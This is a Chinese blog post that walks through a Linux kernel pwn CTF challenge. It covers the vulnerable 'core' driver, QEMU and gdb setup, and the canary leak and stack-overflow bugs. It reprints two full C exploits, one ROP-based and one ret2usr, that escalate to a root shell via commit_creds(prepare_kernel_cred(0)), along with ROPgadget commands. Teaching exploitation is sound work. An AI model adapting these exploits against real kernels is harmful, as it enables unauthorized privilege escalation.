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内核pwn应该怎么pwn 与用户态的pwn不一样，内核pwn的漏洞一般是出现在驱动中，简单地说，驱动程序是一个内核程序，它驱动与之关联的特定设备。内核驱动模块运行时的权限是root权限，因此我们将有机会借此拿到root权限的shell。不同于用户态的pwn，kernel pwn不再是用python远程链接打payload拿shell，而是给你一个环境包，下载后qemu本地起系统，flag文件就在这个虚拟系统里面，权限是root，因此拿flag的过程也是选手在自己的环境里完成，exploit往往也是C编写。所以，我们一般是写c程序去调用有漏洞的内核驱动，以便去拿到root权限。 proc_create函数首先介绍一下proc文件系统，proc文件系统是一个虚拟文件系统，里面有许多的虚拟文件，创建一个proc虚拟文件，应用层通过读写该文件，即可实现与内核的交互。
而创建方法也就是proc_create函数; 1
| static inline struct proc_dir_entry *proc_create(const char *name, mode_t mode,struct proc_dir_entry *parent, const struct file_operations *proc_fops)。
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name就是要创建的文件名，mode是文件的访问权限，以UGO的模式表示，parent与proc_mkdir中的parent类似，也是父文件夹的proc_dir_entry对象。proc_fops就是该文件的操作函数了。
这里最重要的应该是我们的第三个参数fop，也就是file_operations。这里会涉及到内核中文件系统的一些东西，笔者目前也还没有学习，这里大致说一下我自己的理解：这个结构体就是定义了我们利用上面的那个proc_create创建的结构体时可以调用的函数，用于用户态与内核态的交流，譬如本例题定义的proc_create("core", 438LL, 0LL, &core_fops)，在我们的core_fops中定义了core_write函数，所以我们便可以利用open函数打开core这个文件：int fd = open("/proc/core", O_RDWR);然后利用write(fd, rop_chain, 0X800)调用core_write函数。 一般内核pwn的前置处理以本题为例，给了bzImage：kernel映像；
core.cpio：文件系统映像；
start.sh：一个用于启动 kernel 的 shell 的脚本，多用qemu;
vmlinux：类比成用户态pwn中的libc文件。
解压core.cpio之后core目录里也有个vmlinux，调试时用core目录的vmlinux。
关于bzImage与vmlinux的区别，详细可以参见该 文章。简单来说，bzImage是压缩过的镜像，而 vmlinux是未经压缩的镜像，也就是说我们可以从 vmlinux 中找到一些 gadget。如果题目没有给 vmlinux，可以通过 extract-vmlinux, 提取命令：./extract-vmlinux ./bzImage > vmlinux。
关于start.sh，是QEMU的启动脚本。一般里面会设置内核的保护机制以及相关参数的设置,这里并没有开启SMEP(是ret2user利用的基础)。对于本题，需要将该文件中第二行的-m 64M改成-m 128M，不然内存不够用启动不了。 1
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| qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
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关于core.cpio的解压，可以参考一下： 1
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| mkdir file
cp ./core.cpio ./file/core.cpio.gz
cd file
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio
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其实也可以在ubantu双击即可解压。
对于本例，解压后的文件夹中有个有一个init文件，用于启动内核后初始化，查看一下： 1
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| #!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
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- 对于echo 1 > /proc/sys/kernel/kptr_restrict中的kptr_restrict:
通过 kptr_restrict 来控制/proc/kallsyms 是否显示symbol的地址，也就是函数的地址。echo 1 > /proc/sys/kernel/kptr_restrict，则不能通过/proc/kallsyms查看内核符号的地址了，但是这里有cat /proc/kallsyms > /tmp/kallsyms，所以可以在/tmp/kallsyms看到，没什么影响。 - 对于echo 1 > /proc/sys/kernel/dmesg_restrict,这个参数是不让非 root 用户读取 dmesg 的输出信息的，dmesg包括开机信息等一些消息(对于本题似乎没有什么影响)。动态调试一般内核题中，都会有qemu模拟运行，然后利用gdb远程调试。方法如下:
一，在我们的start.sh中添加-gdb tcp::ip或者-s(-gdb tcp::1234的简写)
Linux kernel pwn （一）：ROP&&ret2usr
二，gdb中输入target remote:ip即可
Linux kernel pwn （一）：ROP&&ret2usr
三，加载符号表，像本题中的vmlinux,直接利用file ./vmlinux即可
四，加载驱动，add-symbol-file core.ko textAddr，而textAddr是指core.ko装载进内核空间后的.text段地址（其实就是装载基址）。可以利用root用户'cat /sys/module/core/sections/.text'查看。
Linux kernel pwn （一）：ROP&&ret2usr
（注：上图我是用root用户查看的）漏洞分析直接拉进ida查看漏洞
首先看到这是一个虚拟文件注册函数，注册了core文件
Linux kernel pwn （一）：ROP&&ret2usr
它的fop有：
Linux kernel pwn （一）：ROP&&ret2usr
然后查看我们的core_read函数:
Linux kernel pwn （一）：ROP&&ret2usr
发现这里存在漏洞，可以通过设置off的值来泄露canary等信息。
再查看我们的core_ioctl函数，发现这里可以设置我们的off，从而leak出有用的信息
Linux kernel pwn （一）：ROP&&ret2usr
这里的漏洞点不太容易注意到，这里的函数参数a1即输入是八字节的有符号整数，而在qmemcpy函数中则是双字节的无符号整数，所以当设置a1=0xffffffffffff0200即可绕过a1>63的检查并在qmemcpy中得到a1为0x0200的值。并且v2为栈中的值，超长复制即可溢出。
Linux kernel pwn （一）：ROP&&ret2usr
然后再查看我们的core_write函数
Linux kernel pwn （一）：ROP&&ret2usr
发现我们的write函数可以往我们的name里面写进东西，所以可以在这里写进我们的ROP链。一些信息的获取gadget的获取由于要构造ROP链，所以我们肯定要gadget。获取gadget可以通过ROPgadget和Ropper
这里说一下ROPgadget和Ropper如何获取我们所需要的gadget：1
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| ROPgadget --binary ./vmlinux > gadget #把可用的gadget取进我们的gadget文件
ropper --file ./vmlinux --nocolor > gadget #把可用的gadget 取进我们的gadget文件
然后再可以用grep筛选我们希望的gadget
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内核基地址的获取因为提权需要用到我们的commit_creds、prapare_kernel_cred内核函数。所以我们需要找到我们的内核基地址。
首先找到这两个函数在vmlinux的偏移：1
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| from pwn import *
elf = ELF('./core/vmlinux')
print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000)
print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
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Linux kernel pwn （一）：ROP&&ret2usr
然后在qemu里查看/proc/kallsyms中的 commit_creds 函数地址
Linux kernel pwn （一）：ROP&&ret2usr
两者相减即可获得我们的内核加载基地址EXP以及分析本题有两个利用姿势，这里分别分析。方法一:ROP - 获取 commit_creds()，prepare_kernel_cred() 的地址： /tmp/kallsyms 中保存了这些地址，可以直接读取，同时根据偏移固定也能确定 gadgets 的地址。
- 通过 ioctl 设置 off，然后通过 core_read() leak 出 canary
- 通过 core_write() 向 name 写，构造 ropchain
- 通过 core_copy_func() 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop
- 通过 rop 执行 commit_creds(prepare_kernel_cred(0))
- 返回用户态，通过 system("/bin/sh") 等起 shell
具体EXP引用于孙小空师兄
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| //sunxiaokong
//gcc -static -masm=intel -g -o my_exp my_exp.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A
int get_kernel_addr();
void get_usr_regs();
void shell();
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t off; // offset of kaslr
size_t vmlinux_base; // base addr of vmlinux
size_t rop_chain[100] = {0}; // rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode
int main(){
get_usr_regs();
get_kernel_addr();
int fd = open("/proc/core", O_RDWR);
if(fd < 0){
puts("[T.T] open file error !!!");
exit(0);
}
ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40
char *buf_leak = (char *)malloc(0x40); // buffer of leak data
ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack
canary = *(size_t *)buf_leak;
printf("[^.^] canary : 0x%lx\n", canary);
int i;
for(i=0; i<10; i++){
rop_chain = canary;
}
rop_chain[i++] = 0xffffffff81000b2f + off; // pop rdi ; ret
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop_chain[i++] = 0xffffffff810a0f49 + off; // pop rdx ; ret
rop_chain[i++] = commit_creds;
rop_chain[i++] = 0xffffffff8106a6d2 + off; // mov rdi, rax ; jmp rdx
rop_chain[i++] = 0xffffffff81a012da + off; // swapgs ; popfq ; ret
rop_chain[i++] = 0;
rop_chain[i++] = 0xffffffff81050ac2 + off; // iretq; ret;
rop_chain[i++] = (size_t)shell; // rip
rop_chain[i++] = usr_cs; // cs
rop_chain[i++] = usr_rflags; // rflags
rop_chain[i++] = usr_rsp; // rsp
rop_chain[i++] = usr_ss; // ss
write(fd, rop_chain, 0X800); // write payload to "name"
ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000 | (0x100)); // stack overflow
}
/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
int get_kernel_addr(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
while(fgets(buf, 0x50, kallsyms)){
// fgets:read one line at one time
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
}
if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
off = commit_creds - 0xffffffff8109c8e0;
vmlinux_base = 0xffffffff81000000 + off;
printf("[^.^] offset : 0x%lx\n", off);
printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base);
}
if(commit_creds && prepare_kernel_cred){
return 0;
}
}
}
/* save some regs of user mode */
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[^.^] save regs of user mode, done !!!\n");
}
/* run a root shell */
void shell(){
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[T.T] privilege escalation failed !!!");
}
exit(0);
}
/*
ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdi
0xffffffff81000b2f : pop rdi ; ret
ROPgadget --binary ./vmlinux --only "mov|jmp" | grep "mov rdi, rax"
0xffffffff8106a6d2 : mov rdi, rax ; jmp rdx
ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdx
0xffffffff810a0f49 : pop rdx ; ret
ROPgadget --binary ./vmlinux | grep swapgs
0xffffffff81a012da : swapgs ; popfq ; ret
ropper -f ./vmlinux > ./gadget.txt
cat ./gadget.txt | grep iretq
0xffffffff81050ac2: iretq; ret;
*/
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EXP具体解析canary的获取这里简单说一下如何设置off的值，从而leak出canary。一开始我的想法是根据ida中显示的偏移决定我们的off值
Linux kernel pwn （一）：ROP&&ret2usr
可以看到，在ida中，v5是设置在我们的rbp-0x50，所以rbp-0x48的位置应该就是我们的canary。但是，像大家所说的，ida中的显示有时候是会有bug的，经过实际调试，我发现实际偏移并不是0x48
Linux kernel pwn （一）：ROP&&ret2usr
Linux kernel pwn （一）：ROP&&ret2usr
从这里看出我们的canary的实际偏移是0x40，当我们写个POC先把我们的off值设置为0x40,然后调用core_read函数（要现在gdb调试，设置断点在我们的core_read函数），然后单步步入到我们copy_to_user函数，即验证我们成功leak出canary了
Linux kernel pwn （一）：ROP&&ret2usr
Linux kernel pwn （一）：ROP&&ret2usr
上面EXP中leak canary的时候，设置off为0x40。 基地址的leak这里的基地址包括内核的基地址以及我们的core这个驱动的基地址
关于内核基地址的寻找上面已经说明，而对于驱动的加载地址，可以直接在我们/tmp/kallsyms查询即可。 用户态寄存器保存1
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| __asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;" //标志寄存器值入栈
"pop usr_rflags;"
);
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ROP链的构造先要构造commit_creds(prepare_kernel_cred(0))提权，然后将用户态的寄存器给赋合法值。 1
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| for(i=0; i<10; i++){
rop_chain = canary;
}
rop_chain[i++] = 0xffffffff81000b2f + off; // pop rdi ; ret
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop_chain[i++] = 0xffffffff810a0f49 + off; // pop rdx ; ret
rop_chain[i++] = commit_creds;
rop_chain[i++] = 0xffffffff8106a6d2 + off; // mov rdi, rax ; jmp rdx
rop_chain[i++] = 0xffffffff81a012da + off; // swapgs ; popfq ; ret
rop_chain[i++] = 0;
rop_chain[i++] = 0xffffffff81050ac2 + off; // iretq; ret;
rop_chain[i++] = (size_t)shell; // rip
rop_chain[i++] = usr_cs; // cs
rop_chain[i++] = usr_rflags; // rflags
rop_chain[i++] = usr_rsp; // rsp
rop_chain[i++] = usr_ss; // ss
|
方法二:ret2user这里先说一下ret2user的原理:
ret2usr 攻击利用了在没有开启SMEP（管理模式执行保护）的情况下，内核态CPU是可以访问执行用户空间的代码的。
用户空间的进程不能访问内核空间，但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件，以 ring 0 特权执行用户空间代码完成提权等操作。
这个方法其实跟上面所说的ROP基本没有区别，最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数，从而不需要rop调用，直接调用函数即可。
最终EXP: 1
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| //sunxiaokong
//gcc -static -masm=intel -g -o my_exp2 my_exp2.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A
int get_kernel_addr();
void get_usr_regs();
void privilege_escalation();
void shell();
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t off; // offset of kaslr
size_t vmlinux_base; // base addr of vmlinux
size_t rop_chain[100] = {0}; // rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode
int main(){
get_usr_regs();
get_kernel_addr();
int fd = open("/proc/core", O_RDWR);
if(fd < 0){
puts("[T.T] open file error !!!");
exit(0);
}
ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40
char *buf_leak = (char *)malloc(0x40); // buffer of leak data
ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack
canary = *(size_t *)buf_leak;
printf("[^.^] canary : 0x%lx\n", canary);
int i;
for(i=0; i<10; i++){
rop_chain = canary;
}
rop_chain[i++] = (size_t)privilege_escalation;
rop_chain[i++] = 0xffffffff81a012da + off; // swapgs ; popfq ; ret
rop_chain[i++] = 0;
rop_chain[i++] = 0xffffffff81050ac2 + off; // iretq; ret;
rop_chain[i++] = (size_t)shell; // rip
rop_chain[i++] = usr_cs; // cs
rop_chain[i++] = usr_rflags; // rflags
rop_chain[i++] = usr_rsp; // rsp
rop_chain[i++] = usr_ss; // ss
write(fd, rop_chain, 0X800); // write payload to "name"
ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000 | (0x100)); // stack overflow
}
/* save some regs of user mode */
void get_usr_regs(){
__asm__(
"mov usr_cs, cs;"
"mov usr_ss, ss;"
"mov usr_rsp, rsp;"
"pushfq;"
"pop usr_rflags;"
);
printf("[^.^] save regs of user mode, done !!!\n");
}
/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
int get_kernel_addr(){
char *buf = (char *)malloc(0x50);
FILE *kallsyms = fopen("/tmp/kallsyms", "r");
while(fgets(buf, 0x50, kallsyms)){
// fgets:read one line at one time
if(strstr(buf, "prepare_kernel_cred")){
sscanf(buf, "%lx", &prepare_kernel_cred);
printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
}
if(strstr(buf, "commit_creds")){
sscanf(buf, "%lx", &commit_creds);
printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
off = commit_creds - 0xffffffff8109c8e0;
vmlinux_base = 0xffffffff81000000 + off;
printf("[^.^] offset : 0x%lx\n", off);
printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base);
}
if(commit_creds && prepare_kernel_cred){
return 0;
}
}
}
/* commit_creds(prepare_kernel_cred(0)) */
void privilege_escalation(){
if(commit_creds && prepare_kernel_cred){
(*((void (*)(char *))commit_creds))(
(*((char* (*)(int))prepare_kernel_cred))(0)
);
}
}
/* run a root shell */
void shell(){
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[T.T] privilege escalation failed !!!");
}
exit(0);
}
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总结这是我入门Linux kernel pwn的一道题，所以这里尽可能详细的记录下来。虽然这道题很简单，但是自己也花了好几天去磕，但是感觉真的是受益匪浅吧！之前就说过，目前的学习方向是iot，但是实际上，现在还没有学多少内容。所以，现在的计划是，尽量在这两周学完内核pwn的几个姿势，应该还有UAF,Double fetch等。然后接下来就是把重心放回到iot研究上，顺带还会学堆的骚操作（看最近几个比赛的WP，发现堆真的好多骚操作，好想去学），然后还会学习操作系统，以及数据库和密码学等课堂知识
害，总之就是想学的东西很多，但是自己的效率不高。所以说，目前的重点是要提高自己的效率！ 参考 |
发表于 2020-10-25 19:06:29
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